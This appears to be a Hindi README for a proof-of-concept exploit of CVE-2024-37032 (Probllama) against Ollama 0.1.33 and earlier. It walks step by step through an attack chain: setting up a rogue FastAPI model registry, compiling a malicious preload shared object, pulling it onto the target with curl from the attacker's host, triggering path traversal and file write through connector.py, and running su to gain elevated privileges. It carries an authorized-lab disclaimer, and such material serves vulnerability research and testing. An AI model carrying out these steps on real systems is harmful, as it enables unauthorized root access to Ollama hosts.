
CVE-2024-37032 (Probllama) PoC Ollama ≤0.1.33 के लिए: पथ ट्रैवर्सल और मनमाना फ़ाइल लेखन मॉडल डाइजेस्ट हैंडलिंग के माध्यम से, जिसके परिणामस्वरूप स्वचालित विशेषाधिकार वृद्धि होती है।
यह रिपॉजिटरी अधिकृत लैब परीक्षण के लिए एक प्रूफ ऑफ कॉन्सेप्ट FastAPI रजिस्ट्री सर्वर, कनेक्टर स्क्रिप्ट और प्रीलोड डेमो लाइब्रेरी शामिल करती है।
इसे केवल उन सिस्टम पर उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है।
server.py: FastAPI PoC सर्वर प्रारंभ करता है।rogue_server/config.py: PoC सर्वर के लिए केंद्रीय कॉन्फ़िगरेशन।connector.py: लक्ष्य Ollama API को पुल/पुश अनुरोध भेजता है।preload_privs_demo.c: शेयर्ड ऑब्जेक्ट पेलोड के लिए C स्रोत।requirements.txt: PoC सर्वर के लिए Python निर्भरताएँ।अपनी होस्ट मशीन पर, Python निर्भरताएँ स्थापित करें:
python -m pip install -r requirements.txt
अपनी होस्ट मशीन पर rogue_server/config.py संपादित करें:
HOST = "<your_host_ip_or_host_ip>"
connector.py संपादित करें:
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
नोट:
SERVER_HOST को server.py चलाने वाले होस्ट की ओर इंगित करना चाहिए।8000 पर चलता है, तो HOST और SERVER_HOST दोनों में पोर्ट शामिल करें, उदाहरण के लिए 10.10.16.160:8000।TARGET_HOST और TARGET_PORT को लक्ष्य Ollama API की ओर इंगित करना चाहिए। यदि connector.py सीधे लक्ष्य मशीन पर चलता है, तो 127.0.0.1:11434 आमतौर पर सही होता है।rogue_server/config.py बदलते हैं, तो PoC सर्वर को पुनरारंभ करें।C फ़ाइल संकलित करें और आउटपुट का नाम libpreload_privs_demo.so रखें:
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
इन फ़ाइलों को अधिकृत लक्ष्य मशीन पर कॉपी करें:
libpreload_privs_demo.soconnector.pyएक सरल तरीका है उन्हें आपकी होस्ट मशीन से सर्व करना:
python3 -m http.server 8081
फिर उन्हें लक्ष्य मशीन से डाउनलोड करें:
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py
शेयर्ड ऑब्जेक्ट डाउनलोड करने के बाद, लक्ष्य मशीन पर इसका पूर्ण पथ कॉपी करें और होस्ट मशीन पर rogue_server/config.py में उसी पथ को exploit_path के रूप में सेट करें।
उदाहरण:
exploit_path = "/tmp/libpreload_privs_demo.so"
अपनी होस्ट मशीन पर FastAPI सर्वर प्रारंभ करें:
python server.py
डिफ़ॉल्ट रूप से, यह प्रोजेक्ट Uvicorn को 0.0.0.0:8000 पर प्रारंभ करता है।
अधिकृत लक्ष्य मशीन पर, चलाएँ:
python3 connector.py
कनेक्टर कॉन्फ़िगर किए गए Ollama API को पुल और पुश अनुरोध भेजता है।
कनेक्टर समाप्त होने के बाद, चलाएँ:
su
एक कमजोर, सही ढंग से कॉन्फ़िगर किए गए लैब लक्ष्य में, प्रीलोड पथ का उपयोग किया जाना चाहिए और विशेषाधिकार संक्रमण देखा जा सकता है।
connector.py में SERVER_HOST rogue_server/config.py में HOST से मेल खाता है।exploit_path सटीक पूर्ण पथ है जहाँ लक्ष्य मशीन पर libpreload_privs_demo.so मौजूद है।TARGET_HOST:TARGET_PORT पर पहुँच योग्य है।rogue_server/config.py बदलने के बाद server.py को पुनरारंभ करें।